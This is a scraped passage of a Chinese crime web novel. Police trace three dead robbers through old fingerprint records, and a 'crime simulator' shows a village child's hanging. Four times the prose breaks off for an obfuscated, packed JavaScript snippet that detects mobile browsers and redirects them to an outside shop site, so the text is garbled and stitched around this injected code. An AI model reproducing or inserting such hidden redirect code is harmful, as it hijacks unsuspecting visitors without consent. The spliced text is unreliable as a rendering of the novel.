RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320982|199052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍她的肩膀,安抚着说:“就是问你一些事情,你知道什么就说什么,别害怕。” “好。”牛开蕊这才跟着那名警员离开。 “燕京的同志难得来咱们这小地方,有什么需要的,都尽管说,我们一定全力配合,”到了接待室,周昌达又吩咐小蔡:“去倒几杯茶水过来。” “不用忙活了,”唐嗣钧阻止了小蔡的动作:“我们这次过来,主要还是为了办案子。” “石康乐,赵东方,李全庆,”唐嗣钧把这三个名字写在了本子上,递了过去:“想麻烦周所长帮忙查一查,看看这三个人有没有什么档案记录在册的。” 周昌达接过本子,低头看了一眼那几个名字:“行,那就先查案。” 他带着唐嗣钧他们穿过了走廊,推开了一间办公室的门:“所里就这么一台电脑,前两年才置办的,所以只存了近两年的案子,如果是以前的话,还得翻纸质档案。” 周昌达拉开椅子坐下,手指在键盘上不断的敲击着。 李钦霞凑了过来,一双眼睛紧紧的盯着那个慢的像蜗牛似的进度条。 “网速不太行,”周昌达点了点鼠标,轻声说:“咱们这地方比较偏,能用的上电脑就已经很不错了。” 他打开了内部系统,输入了石康乐三个字,点击了搜索。 紧接着,屏幕上一个小圆圈就开始不停的转啊转。 转了好半天,终于跳出来了一个页面。 但却是空白的。 周昌达拧了拧眉毛:“没有记录。” “不应该呀,”李钦霞的肩膀一下子就垮了下来:“他们连银行都敢抢,在此之前肯定做过不少偷鸡摸狗的事情。” “电脑里确实没有记录,”周昌达摊了摊手:“要么他们没有在这边犯过事,要么就是犯事的时间比较早,没录进去。” 李钦霞咬了咬嘴唇,满脸的失望。 要是没有犯罪记录,他们还要上哪找指纹毛发这些东西做匹配呢? 如果没有办法确定那三名被炸死的劫匪就是石康乐三个人的话,这个案子就没有办法继续查下去了。 “那就只能用笨办法,去翻纸质档案,”周昌达缓声说道:“不过这些档案都是按照时间来排的,没有人名索引,找起来非常的费事。” “那就兵分两路吧,”唐嗣钧想了想,提出了一个办法:“留一个人在这翻档案,剩下两个人去石康乐他们的老家看一看。” “我留在这里吧,”施久挠了挠后脑勺,憨憨的笑了一下:“我这人不太爱动脑子,翻档案这种活正好适合我。” 唐嗣钧见此轻轻点了点头:“也行。” 几个人从办公室里出来的时候,迎面碰上了一名年轻的警员。 “所长,”那名警员对着周昌达说道:“笔录已经做完了,牛姑娘问接下来有没有别的安排?” 周昌达不假思索地说:“让她回去就行了。” “我们去送送她吧,”李钦霞快速上前了两步:“人是我们带过来的,总不能就这样扔下不管了。” 唐嗣钧和施久也跟了上去。 把人送到了派出所的门口,唐嗣钧关切的问了一句:“你家住在哪里?我帮你叫辆车。” “不用了,不用了,”牛开蕊连连摆着手,她抓着那个巨大的编织袋,笑意盈盈:“我家就在百通乡,离这不远的,我待会儿去街上拦个摩托车,半个小时左右就能到家了。” 唐嗣钧听到百通乡这三个字的时候,脚步微微顿了一下。 与此同时,李钦霞一把抓住了牛开蕊的胳膊,带着几份迫不及待的询问:“那你认不认识石康乐,赵东方,李全庆这三个人?” “认……认识啊,”牛开蕊被她突如其来的动作吓了一大跳:“都是乡里乡邻的。” “那你对他们的了解有多少?”李钦霞持续追问:“他们有没有跟什么人结过怨?最近有没有回来过?” 牛开蕊被她一连串的问题问的有些发懵,愣了一下才回答道:“他们三个从小到大都挺惹人嫌的,结怨的人多了去了,不过已经有很长时间没见过他们了,前几年出门打工去了,一直没有回来过。” “怎么了?”牛开蕊眨了眨眼睛,有些好奇:“他们是犯什么事了吗?” 8. 第 8 章 听到牛开蕊肯定的回答,唐嗣钧微一颔首:“他们三个和别人结怨了这么多事情里面,有没有什么是让你非常印象深刻的?” 牛开蕊歪着头想了想:“结怨啊……” “那可实在是太多了……”她微微轻叹了一声,片刻之后,忽然眼睛亮了亮:“我想起来了,那件事情闹得还挺大的。” “大概是五六年前吧,”牛开蕊回忆着,语速渐渐慢了下来:“那个时候他们成天在县城里头混,也不回家,有一回跟人打架,把一个人的脑袋给打破了,听说差点给打死呢。” 说到这里的时候,牛开蕊下意识的缩了缩脖子:“后来被抓起来了。” “对了,”牛开蕊伸手指了一下派出所门口那有些发黄的牌匾:“应该就是被关在这。” “当时闹得可凶了呢,被打的那个人家里面不依不饶的,非要他们坐牢,后来三家合在一起凑了好大的一笔钱,赔给了人家,才没有被告,”牛开蕊煞有其事的说着:“不过还是被关了大半个月呢。” “等他们出来以后,名声就彻底的坏了,走到哪里都被人指指点点的,人厌狗嫌的,后来实在待不下去了,就北上打工去了,到现在都没回来,”牛开蕊说完这些事情之后,还又感慨了一句:“他们走了也挺好的,起码乡里面安生多了。” “那你还记得他们被拘留的具体时间吗?”李钦霞立刻追问了一句。 牛开蕊皱着眉头使劲想了想,最后还是摇了摇头:“我记不清了,大概是四五年前吧,不过那个时候应该是夏天,天特别热,我还穿着裙子呢。” 如果是在十几年的卷宗里面去翻找一两个案件的话,会无比的麻烦。 可若是知道了大概的年月,那就会变得简单的很多。 牛开蕊提供的这个信息非常的重要,后面可能还需要她的配合,更何况现在的日头已经偏西了,再过一两个小时左右天就要黑了,从县城到百通乡三十多里路,绝大部分都是山路,摸黑走路终究是不太安全。 所以唐嗣钧就提议道:“这样吧,你今天先别急着回去了。” 牛开蕊愣了一下:“啊?” “对对对,”李钦霞瞬间明白了唐嗣钧的意思:“我们这边刚好订了两间房,你可以跟我住一起,明天我们还要去百通乡查案子,到时候就顺带把你送过去。” 施久也在一旁劝,他伸手指了指牛开蕊脚边那个巨大的编织袋:“你一个姑娘家提这么大个袋子,也不嫌沉的。” “到时候我帮你拿,”施久说着话,还撸起袖子秀了秀自己优越的肱二头肌:“怎么样?我可有的是力气。” 牛开蕊噗嗤一声笑了出来:“那就麻烦了。” “小蔡,”所长周昌达蔡永强喊了一声:“把牛姑娘带去接待室,让她好好歇一歇,然后你再到档案室来。” 蔡永强应了一声,冲着牛开蕊招了招手:“跟我来吧。” 紧接着,唐嗣钧一行人就在周昌达的带领下来到了派出所的档案室。 屋子在二楼,三面都有窗,阳光非常的充足,可以确保所有的纸质档案都不会发霉腐朽。 屋子里面整整齐齐地排列着几十个木质的柜子,每一层都塞满了档案袋,档案的封面上写着案发的年月日和主要的案件内容,有的年代久远的,上面的字迹都有些模糊了。 唐嗣钧的目光从那些档案的年份上面扫了一眼:“按照牛姑娘所言,我们可以先翻找一下九五年到九七年这三年间,5到9月份的档案。” 施久点了点头:“趁着天还没黑,抓紧时间吧。” 几个人分头行动,各自抱了一摞档案回到了桌边,开始一页一页的翻找。 档案室里面安静了下来,只剩下了纸张翻动的沙沙声。 时间一分一秒的过去,窗外的天色渐渐暗了下来,周昌达起身打开了灯,在屋里投下了一片暖融融的光。 “找到了!”施久忽然无比激动的喊了一声,整个人从椅子上面站了起来,手里面抓着一份档案,脸上带着抑制不住的兴奋:“你们快来看,是不是这个?” 档案室里的人全部都凑了过去,只见那牛皮纸的封面上,用钢笔写着几行清晰的字迹。 【1996年7月13日,路固县派出所受理案件登记表】 【涉案类型:打架斗殴】 【涉案人员:石康乐,赵东方,李全庆……】 后面还有几个人的名字,但此时,所有人的关注点都落在了石康乐等人的名字上。 “给我来看看。”李钦霞迫不及待的把档案袋接了过来,抽出了里面的纸张。 上面主要是手写的案情分析,李钦霞盯着这大片大片的文字记录,只看了一眼便快速的扫了过去。 直到翻到最后一页,出现了好几枚鲜红的,纹路清晰可见的指纹。 “哼哼哼,” 李钦霞伸手点在了指纹的印记处,嘴角微微往上扬了扬:“终究还是让我们找到了吧,我看这个劫匪还要往哪跑。” 唐嗣钧站在旁边,看着那几枚指纹,点了点头。 施久凑过来,看着那几枚红色的指纹印子:“要是这上面的指纹,能和爆炸案里的那三个死者的对上的话……” “那就可以确定北郊的那家工厂有大问题了,”施久搓着手,喜滋滋的:“那个在逃的劫匪,说不定就藏在里面。” 唐嗣钧轻轻应了一声,转头对周昌达说:“需要把这几枚指纹提取出来给燕京那边发过去,不知道有没有设备?” “有的有的,”周昌达走到门口,朝着走廊喊了一嗓子:“小蔡,赶紧去把扫描仪打开。” 蔡永强的声音从远处传了过来:“好嘞……” 唐嗣钧他们拿着那份档案回到了之前放电脑的那个办公室的时候,蔡永强已经把扫描仪开开了,他非常骄傲地给大家伙介绍:“这东西是今年才配的,可高级了。” 说着话,蔡永强就把那页印着指纹的档案平放在了扫描仪的玻璃板面上,紧接着,它盖上了盖子,在电脑上面点了一下。 扫描仪发出了几道嗡嗡的响声,不过片刻的时间,那几枚指纹就被原封不动地扫进了电脑里。 蔡永强又敲了几下键盘,调了一下对比度,让指纹的纹路更明显。 随后他打开了内部的系统,找到了发送文件的页面,开始上传。 没过一会,屏幕上面跳出了一行小字:“发送成功。” 蔡永强松了一口气,往后靠在了椅子上:“成了。” 李钦霞弯了弯眼睛:“现在就等着燕京那边的回信了。” 唐嗣钧点了点头,紧接着走到窗户旁边,拿出手机,拨下了一个电话号码。 电话响了几声,那头传来可王伯威的声音:“喂?” “师父,是我,”唐嗣钧把这边的情况简单说了一下:“需要你加个班了。” “臭小子,”王伯威听完这话以后,乐呵呵的笑了起来:“你也知道现在是下班时间啊?净给你师父找事。” 话虽如此,可王伯威还是口嫌体正的找了个外套穿上,准备往市局赶了。 “等比对结果出来,要是真能对得上的话,我给你记个功,”他换好了鞋子,一边下楼,一边絮絮叨叨:“行了,时间也不早了,你们先去休息,等比对结果出来了,我第一时间就告诉你。” 唐嗣钧轻声应下:“好。” 解决了一桩大事,办公室里的气氛都松快了许多。 周昌达乐呵呵的说着:“远道而来的都是客,咱们这里虽然偏了一些,但是有几样土特产还是非常不错的,今天晚上我做东,请你们尝尝我们路固县的翘脚牛肉。” “翘脚牛肉?”李钦霞头一次听到这么一个名字,很是好奇的问道:“怎么个翘脚法?是牛会把脚丫子翘起来吗?” “当然不是啦,”蔡永强低着头,笑的一抽一抽的:“是好吃到你会把脚丫子翘起来。” 李钦霞有些不太信:“真的吗?” 蔡永强眨了眨眼睛,一溜烟的跑出去了:“骗你的。” 周昌达跟在外面无奈的摇了摇头:“这小子……” 紧接着,他又感慨了一句:“年轻就是好啊。” 牛开蕊被蔡永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320983|199052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强从接待室里带出来的时候,脸上还带着点懵,听说要去外面吃饭,她连连摆手:“不用不用,我随便吃点就行……太贵了……” “客气什么?”李钦霞一把揽住了她的肩膀:“一块去啊,你晚上还要跟我睡一张床,咱两提前熟悉熟悉。” 牛开蕊还是第一次和一个才认识没多久的人如此亲热,一时之间羞的脸颊都有些发红了,终究还是跟着一起出了门。 周昌达说的老字号店铺在县城主街的尽头,还隔着一段距离呢,就闻到了一股无比浓郁的肉香味。 县城不大,大家伙相互之间也都挺熟悉的,老板看到周昌达带着人进来,热情的打着招呼,立刻给他们腾出了一张大桌:“来来来,这边坐。” 没过一会,一个铜锅就被端了上来,锅底下烧着炭火,咕嘟咕嘟的冒着热气,牛肉,牛肚……全部都被切成了薄薄的薄片,只在汤里稍微滚一下,就可以吃了。 “快来尝尝,”周昌达拿起公筷给他们一人夹了一筷子:“这牛是今天早上现杀的,新鲜的很。” 李钦霞夹起一片牛肉裹了一下佐料,迫不及待的塞进了嘴里,整个人吃的像个仓鼠似的:“好吃好吃!” 周昌达举起了酒杯:“来,我敬你们一杯,燕京的同志大老远的跑过来,都辛苦了。” 大家伙立刻端起杯子,跟他碰了一下:“周所长实在是太客气了。” 一桌子人说说笑笑的,热气腾腾的锅子很快就见了底。 “你们早点休息吧,”周昌达把人送到了招待所的门口:“明天早上我让小蔡开车送你们去百通乡。” 县城里的招待所也是一栋二层的小楼,虽然看着已经有些年头了,但收拾的却很干净。 铺盖似乎是白天晒过了,有一股淡淡的阳光的味道。 二楼的房间里,牛开蕊坐在床边上,两只手规规矩矩的放在了膝盖上,显得有些局促。 但李钦霞却是自得的很,她脱了外套挂在门口的衣架上,整个人直接往床上一躺:“舒服……” 牛开蕊盯着这样活泼又明媚的李钦霞,心中有些羡慕。 李钦霞偏过了头,对上她的目光,笑了笑:“怎么了?” 牛开蕊迟疑了半晌,最后小声说道:“你们当警察的……真厉害啊。” 李钦霞挑了挑眉,并不觉得有什么:“厉害什么啊,就是干活呗。” 牛开蕊往她那边挪了挪,像是鼓足了勇气:“你当警察多久了?” “没多久啊,”李钦霞不假思索的回答道:“毕业才几个月。” 牛开蕊的眼睛瞪大了一些:“刚毕业就能当警察了?” 李钦霞点了点头,坐起来靠在了床头:“警校毕业的嘛,出来就是警察了。” “警校?”牛开蕊满脸的好奇:“警校是什么样子的?是不是天天训练啊?要打枪吗?” 李钦霞瞬间来了兴致,开始给牛开蕊讲起了警校里发生的事:“有一回呀,我们练擒拿的时候,我跟一个男生对练,他一开始还看不起我,我一个过肩摔就把他摔地上了,他躺在地上半天都没能爬起来。” 牛开蕊捂着嘴惊呼:“真的假的?” “当然是真的了,”李钦霞得意洋洋的说:“后来那男生见着我就躲呢。” 渐渐的,牛开蕊听的都有些入神了,一双眼睛里面全都是敬佩的光:“你真厉害啊。” 李钦霞被她看的都有些不好意思了:“哪里厉害了,毕竟练了这么多年呢。” 牛开蕊摇了摇头,无比认真的说:“我是说真的,你们能保护别人,还能抓坏人,能让人有安全感……真的很厉害啊。” 李钦霞一颗心软了下来,她伸出手,揉了揉牛开蕊的头发,下意识的说:“你如果想的话,也可以变得很厉害。” 可突然,牛开蕊变的沉默了起来。 李钦霞抿了抿唇,一时之间不知道该说些什么,思考良久之后,她起身关掉了灯。 就在李钦霞都快要睡着了的时候,黑暗当中却突然传来了牛开蕊带着哭腔的声音:“钦霞妹妹,我真的可以吗?” 9. 第 9 章 李钦霞听到牛开蕊带着哭腔的声音,瞌睡一下子就飞走了:“这……发生什么事了?你别哭啊……” 牛开蕊缩在被子里面,肩膀一抖一抖的:“钦霞妹妹,我害怕……” “不怕不怕,有我在呢,”李钦霞伸手搂上了牛开蕊的肩膀,柔声劝道:“有什么事你跟我说,我肯定能给你做主。” “其实……”牛开蕊吸了吸鼻子,说话的声音有些闷闷的:“我这次回来,不是因为市里没活干了,是我妈打电话叫我回来的……” 却原来,今年二十四岁的牛开蕊还有一个二十一岁的弟弟牛开胜,牛开胜在前段时间说了个媳妇。 但是女方要八万块钱的彩礼才肯嫁过来,可牛开蕊家里很穷,根本掏不出来这么多钱。 所以,牛开蕊的妈妈就找媒婆给牛开蕊也介绍了个对象,她不要求男方长相如何,性情如何,只要对方愿意出八万块钱的彩礼,就能够将牛开蕊给娶回家。 这其实是一个很苛刻的要求,原本牛开蕊的妈妈也没想着这么快就能找到的,可出乎意料的是,媒婆只打听了不到半个月的时间,就有人同意了。 牛开蕊的双手紧紧的攥在一起,整个人都非常的紧张:“我妈说那人挺年轻的,比我大不了多少,长的也精神,而且还有能耐……” “可是……这样的人又怎么会看上我呢?” 倒也不是牛开蕊妄自菲薄,她只是一个农村姑娘,她有自知之明:“钦霞妹妹,我就念了个小学,初中都没上完,而且我长得也不好看,也没什么本事……八万块钱,人家凭什么娶我呀?” 牛开蕊的声音陡然拔高了一些:“我不信有人愿意花八万块钱娶我的,这中间肯定是有什么问题,可我怎么说我妈都不听,她总是说我想多了,她还说人家条件好,是我高攀了……” “我不想……不想就这么把自己给卖了,可我要是不嫁过去的话,我弟弟就娶不上媳妇了,我们牛家的香火就要断了,我这个当姐姐的,怎么也得为家里着想……” “放屁!”听到这话的李钦霞再也忍不住了,陡然间一嗓子吼的牛开蕊的哭声都噎住了。 李钦霞气得直接从床上坐了起来,胸膛剧烈的起伏着:“什么玩意儿就香火就断了?你弟是皇帝啊,还是你们家有皇位要继承啊?” “八万块钱把你卖了给你弟娶媳妇,他凭什么呀?你是他姐又不是他妈,他娶不上媳妇是他自己没本事,关你什么事?”李钦霞嘴皮子不断的秃噜着:“你还为家里着想,他们为你着想过吗?你一个人在外面打工,累死累活的,他们心疼过你吗?” 牛开蕊整个人都懵掉了,她愣愣的看着李钦霞,一个字都说不出来。 这些话,可她这二十几年的观念完全相悖了。 可李钦霞却继续继续火力全开:“对方要是真的条件好,用得着花八万块钱买个媳妇吗?买你回去干嘛啊?当牛做马还是生孩子?你妈脑子进水了吧?” “钦霞妹妹,你别说了……”牛开蕊终于回过了神来,连忙伸手去捂她的嘴巴:“快别说了……” 李钦霞挣扎了两下,很快就把她的手给扒拉开了:“我就要说,你不让我说,我得憋死。” 牛开蕊急得又要掉眼泪:“你别让别人听见……” “听见就听见,”李钦霞瞪着一双圆溜溜的眼睛:“我又没说错,有什么好害怕的?” 但看着牛开蕊要哭不哭的样子,李钦霞终究还是无奈的叹了一口气:“行行行,我不说了。” 她伸手揽住了牛开蕊的肩膀:“反正我们明天要跟你一块去百通乡,你要相看的时候,记得带我一起。” 牛开蕊没理解她的意思:“啊?” “啊什么啊?”李钦霞有些恨铁不成钢的说道:“到时候我帮你看看,如果那人真的有什么毛病,或者是敢欺负你的话……” “哼哼哼,”李钦霞鼓着腮帮子说道:“我一定让他吃不了,兜着走。” 牛开蕊使劲的点着头,眼泪却流的更凶了:“谢谢你,钦霞妹妹……” “啧,”李钦霞看似不耐烦的撇了撇嘴,但还是伸手将牛开蕊揽进了怀里,然后像哄小孩一样轻轻拍着她的后背:“不哭了啊,我给你做主呢,有天大的事情都明天再说,咱们现在先睡觉。” 牛开蕊整个人的脑袋都埋在了李青霞的怀里,传出了闷闷的一声:“嗯。” —— 第二天是个大晴天,阳光从招待所的窗户里照进来,落在人身上暖洋洋的。 大家在街边的早餐摊子上随便吃了一点,便被蔡永强招呼着,再次坐上了那辆白色的面包车。 上车之前,蔡永强从兜里掏出了几个橘子,递给了每人一个:“拿着吧,待会儿路上有用。” 施久接了过来,翻来覆去的看:“这橘子除了吃,还能干什么?” 蔡永强笑了两声:“不是吃,是闻,这边的山路弯弯绕绕的,把橘子皮挤一下,汁水挤进鼻子里,能防止晕车。” “有这么夸张吗?”施久对此非常不屑,直接把橘子还了回去:“我做了这么多年车了,可从来都没有晕过,用不着这个。” 蔡永强耸了耸肩:“待会儿可别后悔哦。” 施久哼了一声:“才不会。” 可刚上车没多久,施久就隐隐有些后悔了。 刚出了县城,柏油马路就变成了石子路,车子走在上面,两秒钟能颠几十下,早饭都要快被颠的吐出来了。 施久的身体随着车子的转弯不断的左右摇晃,脸色越来越白,额头也开始冒出了密密麻麻的细汗。 唐嗣钧看着施久,抓着手里的橘子,一会儿抛起来,一会儿接住,不紧不慢的把玩着。 “哥,唐哥……”施久可怜巴巴的伸出手:“给我一点吧,行不行?” 李钦霞在旁边笑得直发抖:“该!” “好哥哥,亲哥哥……”施久实在是太难受了,也顾不得脸面,什么恶心的话都说的出来:“求求你了……” 唐嗣钧被他喊的起了一身鸡皮疙瘩,大发慈悲的分给了他一半:“给你给你,少在那恶心我。” 施久如获至宝一般的接过那半个橘子皮,举到鼻子跟前,使劲的吸了几口,吸完以后又把橘子皮撕成了小块,直接塞进了鼻孔里。 “咦……”李钦霞有些受不了了:“你这样子太恶心了,离我远一点。” “我就不,我就不,”施久没有那么难受了,又开始皮,一边说着话,还一边往李钦霞那边靠了靠:“让你刚才笑话我。” 就在大家伙说笑玩闹的时候,面包车后面突然传来了一阵巨大的轰鸣声。 一辆摩托车不断的在山道上面疾驰着,油门几乎拧到了底,发动机的声音震得人耳朵都有些发蒙。 施久坐在靠窗的位置,看见这场景,他立马摇下了车窗,探出脑袋,冲着那人喊了起来:“喂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320984|199052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你开慢一点,小心摔下去……” 这山路旁边可都是悬崖,这掉下去不说摔的青一块紫一块的,起码也是东一块西一块。 骑着摩托车的是一个非常年轻的男人,听到施久劝他开慢一点,直接呲着牙笑了起来,用方言回了一句:“你开咧嫩个慢,还不如早点回家和泥巴耍嘛!” 话音未落,他又用力的拧下了油门,摩托车瞬间就蹿了出去,留下了一股黑黑的尾气,正好喷在了施久的脸上。 施久满脸黑灰,整个人都愣在了那里。 “哈哈哈哈哈哈……” 一车人笑的前仰后合的。 李钦霞几乎是用力拧着自己的大腿:“这感情好,正好给我们上演了个变脸。” “你们……”施久整张脸涨得的黑里透红,只露出一口洁白的牙:“都是什么人啊……” 不知道绕了多少个弯,面包车终于停了下来。 蔡永强刚刚熄了火,施久就拉开车门跳了下去,他整个人蹲在地上,把脑袋深深的埋进了膝盖里。 他一只手捂着嘴,一只手使劲的摆着:“别……别管我,先让我蹲一会儿,要不然我真的要吐出来了……” 牛开蕊跳下了车,提着那个巨大的编织袋,冲大家伙挥了挥手:“那我就先回家了,再见。” 李钦霞应了一声,又提醒道:“我们最近一段时间都会住在村委会里,有什么需要帮助的,你都可以随时来找我们。” 牛开蕊微微弯了弯眼睛:“好。” 村委会在村子的西头,以前是作为知青点使用的,现在生产大队解散了,政府拨了款,将其修建了一下,就成为了村子里面的办公用地。 蔡永强领着大家伙走过去的时候,一个六十来岁的老人家正在院子里晒太阳,虽然他的头发已经白了大半,但精气神却很好。 看见有人过来,他笑着伸出手,挨个握过去:“是燕京来的同志们吧,欢迎欢迎,欢迎来到我们百通乡。” 蔡永强开始给两边做介绍:“这位是顾书山,顾书记。” “什么书记不书记的,”顾书山在以前的生产大队当大队长,在成为这个村委书记都有些不太习惯,他乐呵呵的说:“你们直接叫我老顾就行。” 他把大家带到了屋里,然后喊了一个年轻的干事:“去给燕京来的同志们泡杯茶。” 紧接着,顾书山就给唐嗣钧夜行人说起了石康乐三个人,只不过……顾书山所言和唐嗣钧他们之前所了解的大差不差。 听着这些话,唐嗣钧低头沉思了起来。 犯罪模拟器所给的关键线索是,曹振卫也是百通乡的人,可石康乐三人却偏偏不认识他。 唯一的解释就是,曹振卫是在很小的时候就离开这里了。 那么……今年究竟发生了什么事情,值得曹振卫用三条人命来报复? 恐怕,也得是人命了。 于是,唐嗣钧便问顾书山:“顾书记,这最近十几二十年间有没有发生过什么不正常的死亡?不是病死,也不是老死,而是那种横死的,意外的死亡。” 顾书山皱着眉头,想了很久很久:“好像是有这么一个,不过那年份已经很久了,都快二十年了吧……” “是一个小孩,叫毛振国,”顾书山提到这个人的时候,满眼都是惋惜:“他当时也就六七岁的样子。” “可这孩子硬是用一根绳子,把自己给吊死了……” 10. 第 10 章 曹振卫,毛振国…… 这两个名字在唐嗣钧的脑海里面,不停的盘旋着。 虽然两个人的姓不一样,但这两个名字,实在是太相似了。 石康乐一行人不认识曹振卫,可曹振卫明明也是这个村子里的人。 曹振卫和毛振国……会是亲兄弟吗? 就在这个想法出来的一瞬间,唐嗣钧眼前的景物突然发生了改变,周围的一切都仿佛是电影一般,急速的退去了,模糊的都让他有些头晕。 等到他的视野再次恢复清明的时候,他发现自己正处于一个巨大的打谷场上。 此时应该是晌午,日头非常的晒,晒得人头皮都有些发烫了,空气里面还弥漫着一股稻谷的清香。 打谷场上密密麻麻的全是人,有的人赶着牛,拉着石碾子一圈一圈的转,碾过铺了一地的稻穗,有的人挑着扁担,把零散的稻谷装进去,还有一群半大的孩子,在一个个谷堆之间不停地追逐打闹,弄得浑身上下都是稻草屑。 与此同时,唐嗣钧视野右下角,犯罪模拟器的面板也再次亮了起来。 【检测到模拟体确认关键身份信息:毛振国,曹振卫是同父同母的亲兄弟】 【触发隐藏案件:毛振国自杀案】 【本次模拟身份:施暴者】 【模拟目标:探查毛振国自杀原因】 唐嗣钧正疑惑自己来到了哪里的时候,旁边突然有人推了他一把:“石康乐,你干嘛呢?” 一个半大的小子站在他面前,一双眼睛瞪得溜圆:“再不干活,小心你爹回去揍你啊。” 唐嗣钧低头看了一眼自己的手脚,发现自己现在只有一米四左右的身高,八九岁的样子。 八九岁的石康乐,应该是1980年前后。 这个时间点……和毛振国的死亡时间高度重合。 唐嗣钧一把抓住了面前小男孩的胳膊,问道:“毛振国家在哪里?” 小男孩愣了一下:“你不会是傻了吧,你怎么连毛振国家在哪都忘了?” 唐嗣钧没有理会他的话,只继续说道:“你赶紧告诉我。” 小男孩想了想,给唐嗣钧指了个方向,然后眨着眼睛问:“你不会又想要找他去出气了吧?但是我们先得把活干完呀,到时候我和你一起去呗,正好看他不顺眼……” 唐嗣钧看着眼前的小男孩一脸天真的说着这样的话,只觉得心里头沉甸甸的:“你叫什么名字?” 小男孩震惊的瞪大了眼睛:“石康乐,你该不会是真的傻了吧?你不知道毛振国家在哪就算了,连我都忘了?” 他伸手指着自己的鼻子,一字一顿的说:“我,赵东方,和你从小一块长大的,你忘啦?” 唐嗣钧心里有了数,一把推开了赵东方拽着他胳膊的手,撒丫子就往毛振国家的方向跑。 此时的百通乡,到处都是弯弯曲曲的土路,土路的两旁也皆是低矮的土坯房,屋顶铺着的黑瓦里面,几株狗尾巴草在风中摇摇晃晃。 唐嗣钧知道毛振国家大致的方向,却不知道具体在哪一家,所以他中间又问了一个村民。 那村民看着他直摇头,但还是给他指了方向:“那边。” 唐嗣钧得到肯定的回答,一溜烟的跑了。 身后传来那村民嘟嘟囔囔的声音:“石家这小子,一天到晚不干正事……” 唐嗣钧推开了毛家的大门,一眼就看见正对着门口的房梁上,悬挂着一根很粗的草绳。 绳子垂落了下来,下面还吊着一个孩子。 那孩子年纪不大,整个人瘦瘦小小的,他的脖子套在那根草绳里,像个秋千似的,悬在半空中晃晃悠悠。 他身体的下面,还有一个被踹翻了的椅子。 唐嗣钧的瞳孔猛的收缩了一下,他三两步冲了过去,一把扶起了那个椅子,然后站在上面,试图去把毛振国抱下来。 只不过,唐嗣钧此时的身体也不过是一个半大的孩子,再加上那根草绳勒的实在是很紧,他费了很大的力气,才终于把毛振国给解了下来。 躺在地上的毛振国双眼半睁着,眼珠子微微往上翻着,一整张脸完全被勒成了青紫色。 他的脖子处有一道极深的红印子,像是一条蜈蚣似的,歪歪扭扭的趴在那。 唐嗣钧半跪在毛振国的身边,伸出手搭在了他的颈动脉上。 可那里一片安静,没有任何跳动的痕迹。 唐嗣钧知道这是模拟器的世界,毛振国早在二十年前就已经死了,可他还是想试一试。 万一呢,万一他能把人救活呢? 他的双手交叠在一起,用力的按压在那个小小的胸膛上。 一下,两下,三下…… 唐嗣钧的额头渗出了细密的汗水,一滴一滴的落在了地上。 他不知道按了多久,毛振国的身体还是软的,还带着温度,可就是没有呼吸,也没有心跳。 这个时候,唐嗣钧的背后突然响起了一道男孩的尖叫:“死……死人了!!!” 唐嗣钧回过头就看见赵东方被吓的跌坐在了地上,一张脸煞白煞白的。 他的双腿在地上拼命的蹬着,他想要跑,但腿脚却有些不听使唤,蹬了好半天,身体都没有挪动半分。 唐嗣钧低头看着那张青紫色的小脸,慢慢的收回了手,站起了身。 没用了…… 他救不活他。 “谁家娃儿在喊?”一个中年妇女听到赵东方的尖叫声,探了头进来,然后,她的目光就落在了一动不动的毛振国的身上。 “啊——!!!” 一道更为刺耳的尖叫声在不大的小院里面炸开。 那女人连连后退了好几步,整个身体撞在了门框上,脸上的血色在一瞬间褪得干干净净:“死……死人了……毛家的娃儿死了!” 她的声音又尖又利的,像过年杀的年猪似的,几乎传遍了半个村子。 没一会儿的时间,毛家的小院里面就围满了人,一个个都伸长了脖子往里面看。 有小孩们试图从大人腿间的缝隙里钻进去,却又被自家的大人给一把拽了回来,捂着眼睛不让他们看。 “真是作孽啊……”此时的顾书山还不是村委书记,而是生产大队的大队长,他蹲下身探了探毛振国的鼻息,又摸了摸他的脖子,脸色变得极其的难看。 顾书山看着那根悬挂在房梁上的草绳,长长的吐出一口浊气,目光在人群里面扫了一圈,紧接着皱起了眉头:“毛勇呢?” “毛勇去哪儿了?”顾书山的声音不由得拔高了几个音调,带着明显的怒气:“他儿子死了,他人都不回来吗?” 人群里有人小声的说:“可能又是去喝酒了吧。” “去叫!”顾书山板着一张脸,手掌拍在门框上啪啪作响:“抬也得把他给我抬回来!” 紧接着,顾书山伸手指了指地上的毛振国:“先把他搬到屋子里头去,这样放在地上也不是个事。” 一个和毛家有亲缘关系的男人主动走上了前,将那具小小的尸体给抱在了怀里。 就在此时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 